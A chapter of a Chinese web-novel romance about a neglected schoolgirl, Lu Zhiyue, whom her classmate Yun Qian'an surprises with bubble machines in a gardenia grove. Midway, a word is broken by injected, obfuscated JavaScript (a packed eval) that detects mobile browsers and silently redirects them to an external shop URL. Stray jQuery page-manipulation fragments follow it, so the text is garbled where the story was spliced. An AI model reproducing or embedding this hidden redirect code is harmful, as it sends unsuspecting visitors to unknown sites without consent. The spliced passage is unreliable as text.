父母对她的关注并不多,从她记事起,她的衣服都是自己洗,父母很少给她洗。
而路轩从小到大一直都没洗过衣服,也没做过家务活。
在她小的时候,家里比较拮据,没有洗衣机,她只能手洗,冷天的时候也是一样,厚重的衣服她也常常洗得不算干净。那时候还小,没人会格外关注她的穿着,所以也没有人因为她洗不干净的厚衣服,而嘲笑欺负她。
她第一次接触洗衣机的时间,是在初一上学期。
除此之外,她偶尔还得做饭和打扫卫生,因为父母白天得上班,没时间照顾弟弟路轩,所以教她这样做。
初二的时候,父母决心开饭店,饭店的选址离阳光小区近,又是餐饮行业,想着都是做饭,不如多做两份带回家给他们兄妹俩。
正因如此,路枝月才少了做饭这套流程,日子也轻松了不少。
路爸路妈常对她说,她是姐姐,身上有照顾弟弟的责任,那时的她年纪小,对责任这个词引以为荣,从不抱怨,也从不觉得累。
她只觉得,他们是一家人,生活艰苦点没什么,只要一家人一起努力,幸福快乐就好。
要不是父母不让她高考,她也不会认真地回顾这十几年光阴,更不会去想父母说那些话真正的用意是什么。
她也还会以为,她过得很幸福,有爱她的父母。
路枝月看着手中被红丝带缠绕住的金表,走到床边躺下去,脑子里想着从小到大经历过的那些事儿。
只要顺利撑过高考就好了,她到时候成年了,就可以去做兼职,她英语不错,到时候也可以接翻译的活干,还可以去做家教。
她已经想好了去路,就一定会朝着这个目标,努力去实现。
她把红丝带套进手腕,红丝带上她做了自己的小巧思,可以通过蝴蝶结下掩盖的细小丝带,把尺寸收紧,不会轻易从手腕处脱落。
做完这些,她才安心闭上眼等待困意。
*
又是一天过去,路枝月照常提早出门上课。
今天没什么新鲜事儿发生,早晨和下午她都认真听课练题记下知识点,除了陈娇偶尔跟她说两句话外,就再没别人找她说话。
直到下午5:30放学,云千安才找她说话。
坐上七路公交车,云千安不合时宜地出现在她眼前,跟她坐到一起。
路枝月开口问他:“晚上还有自习课,你现在跟我搭同一趟车,是想去我家吃饭吗?”
云千安看到她左手手腕上的红丝带:“这里面是我送你的那块表吗?”
路枝月点头。
“这丝带确实没那么显眼,你很有创意。”云千安从红丝带上收回目光,接着回答路枝月的问题,“我是想去蹭饭,但是不知道你家里方不方便?”
路枝月一口回绝:“不方便。”
只是一封情书,路妈都得跑去学校闹,更何况是直接把男生带回家里。
云千安想了一会儿:“那我能请你吃饭吗?”
路枝月忍不住好奇地问:“你为什么总想请我吃饭?”
云千安诚实回答:“还不是看你太瘦了,而且每次吃饭你看上去都很饿,所以才想着让你多吃一些,你太瘦了。”
“我看上去很能吃吗?”路枝月茫然地眨眼,同样真诚地看着云千安的眼睛。
他被她逗笑:“我可没这么说。”
路枝月分不清楚他是嘲笑她吃得多,还是别的什么,所以没有回答。
云千安清了清嗓子,收回笑容:“所以待会儿能不能请你吃饭?”
路枝月目光看向窗外,想到回家也是和路轩大眼瞪小眼,所以点头说:“去哪吃?”
云千安抓她手腕的动作越来越熟练,他带着她走到公交车后门,等车到站,就立马下车,招手示意他的司机把车开过来。
八月份正是闷热的时候,兴许是没吃晚饭的缘故,路枝月没什么精神,还觉得阳光耀眼,热得不行。
她抬手覆在眉下,试着遮挡部分光线。
司机把车开过来,在看到路枝月后,也默契地没有下车,给两人制造机会。
云千安拉开车门,等路枝月上车后,他才从另一侧上车。
车里有空调,路枝月身上的燥热感也渐渐褪去,闭眼坐在后排休息。
云千安没有打扰她,只是等到了目的地,才轻手轻脚下了车。
他的动作很轻,加上豪车本来就安静的缘故,路枝月并未察觉他先行下了车。
云千安把一切准备好,才发消息给司机,让他轻声叫醒路枝月。
被司机的声音吵醒,路枝月一脸茫然,她没听清司机说了什么,只是在扫视完车内,没看到云千安的身影后,迷迷糊糊下了车。
待她的脚步站稳,她才看清周遭的事物。
脚下是鹅卵石地面,约有一米宽,身边两侧是大片的栀子花树,同时遮挡住大部分阳光,站在树荫下能感到十分凉爽轻快。
洁白的栀子花成堆撞进路枝月瞳中,她多看了一会儿。
这里很美。
但这是哪?
路枝月收回目光,回头看了看车里的司机师傅。
司机师傅长相敦厚,身材匀称,只是对她浅浅一笑:“姑娘你往前走,他在前面等你。”
路枝月没来得及感到诧异,司机师傅就关上了车窗,开着车走了。
师傅说的他是谁?是云千安吗?云千安去了哪?为什么带她来这,不是说去吃饭吗?
带着心里的疑惑,路枝月抬脚继续往里走。
刚走没多远,头顶突然飘下来许多大小不均的五彩泡泡。
路枝月连忙抬头去看,只见云千安的身影出现在一棵栀子树的枝干后面,他手里还拿着两个大型泡泡机,正对着路枝月走来的方向喷着泡泡。
路枝月脸上没有欣喜的表情,只是担忧地小跑过去,本想开口问他怎么上去的,在走近一些后,她就知道了这个问题的答案。
云千安站在可移动的钛合金登高梯上,在安全的位置把自己掩藏在栀子花树后面。
她以为,云千安应该是在车里看到了栀子花林,看她睡着就没叫醒她,一时兴起先行下车在这里玩起了泡泡机。
这里的登高梯,应该是栀子花林的工作员人专门放在此地,给栀子树修剪枝叶用的吧。
至于泡泡机,应该也有专门售卖的地方,路枝月下车晚了,没看到哪里有卖。
看到路枝月的时候,云千安知道自己暴露了。
她脸上的神色没有很开心,云千安一时间也慌了神,他连忙把泡泡机的开关按钮关上,紧张地问路枝月:“你是不是不喜欢这样?”
路枝月在看到他安全后,神情也放松下来,平静地看着云千安:“很漂亮啊,为什么不喜欢?”
云
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506234|202077||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
千安愣住了,她喜欢为什么还板着脸?
她是不是在说反话?
见他没动静,空中飘舞的泡泡也全落了地,路枝月也意识到自己的语气太过僵硬,连忙补充道:“你继续,我还想看。”
云千安很听她的话,哪怕心里还有疑惑,也赶紧照做,打开了泡泡机的开关。
刹那之间,大大小小的五彩泡泡顷刻而下。
路枝月静静地等待泡泡下坠,伸出双手接住了离她最近的泡泡。
她笑了!
云千安看到她嘴角扬起弧度,正抬头对上他的视线。
他心里的思绪,在她甜美、如绵绵细雨般娴静的笑容中沉寂下去,不自觉跟着她笑。
泡泡阵萦绕在两人中间,云千安看到她朦胧、燕妒莺惭的侧脸,就着浪漫的气氛,忍不住开口喊了她一声。
“路枝月!”
少女抬头看向他。
云千安喉头一滑,还是没勇气说出那句话:“看这边,我给你弄更多泡泡。”
路枝月敏锐地察觉到了,云千安脸上的微表情,但她没点破,只是走到更靠近云千安的地方。
云千安挥舞着手中的泡泡机,以此来缓解心里的焦灼。
路枝月以为他只是举泡泡机时间太久累了而已,所以笑看向他:“云千安,换我来制造泡泡怎么样?”
云千安大脑飞速运转,她是不是嫌弃自己没掌握好泡泡的走势?
还没想出应对方法,路枝月就已从登高梯爬了上来,走到他身边。
云千安心脏怦怦乱跳,紧张地把泡泡机递给她,又刻意低下头,不敢看她的眼睛。
他生怕,自己会把那句话说出来,更怕好不容易堆起来的气氛被他破坏。
路枝月接过泡泡机,站在登高梯上,开心地玩着。
云千安则走到刚才路枝月停留的位置,抬头看着她朝他发射爱心泡泡。
她今天没扎高马尾,披散在脸颊两侧的头发也被汗水打湿,一缕干涸的发丝锢在脸上,是那样的勾人心弦,叫他怦然心动。
他脑子里冒着粉色泡泡,全身的血液加速流淌,眼神暧昧又不甘地看着她。
路枝月对手里的紫色泡泡机,感到十分新奇,玩得不亦乐乎,全然没去注意云千安的眼神。
她一边挥舞泡泡机,一边看着绽放的栀子花道:“云千安,你选的这个地方真好。”
云千安没有回答她,只是在用力地记住她的一颦一笑,想把此刻的美好全部烙进心里。
一刻也不想忘记。
路枝月玩了很久,云千安也抬头看了她很久。
久到燥热的空气降了温,耀眼的太阳已经西去。
路枝月肚子咕咕叫,她关上了泡泡机的开关,从登高梯下来时说:“我饿了,要不我们去吃饭吧。”
云千安看得太入迷,跟魂丢了一样,机械地点头。
路枝月走在他前面,想掏出手机看时间,却腾不开手,她下意识抬起手腕,才想起来原来的机械手表被她放在了家里。
右手她得拿笔写字,手腕上戴东西很不方便,她习惯把机械手表戴在左手,但因为云千安的这块金表,她只能取下那块有用的机械表,给金表腾位置,要不然手腕上的重量就太沉了。
她回过头看他,原是想问他时间来着,却看到他在她身后,手舞足蹈地在做着什么动作,一副欲言又止的样子。